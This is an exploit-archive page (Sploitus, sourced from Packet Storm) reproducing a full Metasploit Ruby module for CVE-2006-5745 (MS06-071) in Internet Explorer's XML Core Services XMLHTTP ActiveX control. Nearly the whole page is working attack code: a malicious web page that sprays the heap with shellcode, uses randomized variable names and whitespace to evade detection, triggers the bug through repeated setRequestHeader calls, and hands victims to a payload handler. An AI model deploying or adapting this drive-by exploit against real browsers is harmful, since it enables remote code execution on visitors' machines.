Sploitus

Exploit for Internet Explorer XML Core Services HTTP Request Handling

packetstorm Β· 2009-11-26

Exploit Code

ruby141 lines
## https://sploitus.com/exploit?id=PACKETSTORM:83032
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer XML Core Services HTTP Request Handling',  
'Description' => %q{  
This module exploits a code execution vulnerability in Microsoft XML Core Services which   
exists in the XMLHTTP ActiveX control. This module is the modifed version of   
http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully  
tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6   
+ Microsoft XML Core Services 4.0 SP2.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'Trirat Puttaraksa <trir00t [at] gmail.com>',  
],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2006-5745' ],  
['OSVDB', '29425' ],  
['MSB', 'MS06-071' ],  
['BID', '20915' ],  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ]  
],  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Get a unicode friendly version of the return address  
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]  
  
# Randomize the javascript variable names   
var_buffer = rand_text_alpha(rand(30)+2)  
var_shellcode = rand_text_alpha(rand(30)+2)  
var_unescape = rand_text_alpha(rand(30)+2)  
var_x = rand_text_alpha(rand(30)+2)  
var_i = rand_text_alpha(rand(30)+2)  
  
var_size = rand_text_alpha(rand(30)+2)  
var_nopsize = rand_text_alpha(rand(30)+2)  
var_limit = rand_text_alpha(rand(30)+2)  
  
var_obj = rand_text_alpha(rand(30)+2)  
var_id = rand_text_alpha(rand(30)+2)  
  
  
# Build out the message  
content = %Q|  
<html xmlns="http://www.w3.org/1999/xhtml">  
<body>  
<object id=#{var_id} classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}">  
</object>  
<script>  
  
var #{var_unescape} = unescape ;  
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;  
  
var #{var_size} = #{var_shellcode}.length * 2;  
var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);  
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;  
  
while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;  
  
#{var_limit} = (0x12000000 - 0x400000) / 0x400000;  
var #{var_x} = new Array() ;   
for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {  
#{var_x}[ #{var_i} ] =  
#{var_buffer} + #{var_shellcode};  
}  
  
var #{var_obj} = null;  
#{var_obj} = document.getElementById('#{var_id}').object;  
  
try {  
#{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array());   
} catch(e) {};  
  
#{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object());  
  
#{var_obj}.setRequestHeader( new Object(), '......' );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
#{var_obj}.setRequestHeader( new Object(), 0x12345678 );  
  
</script>  
</body>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end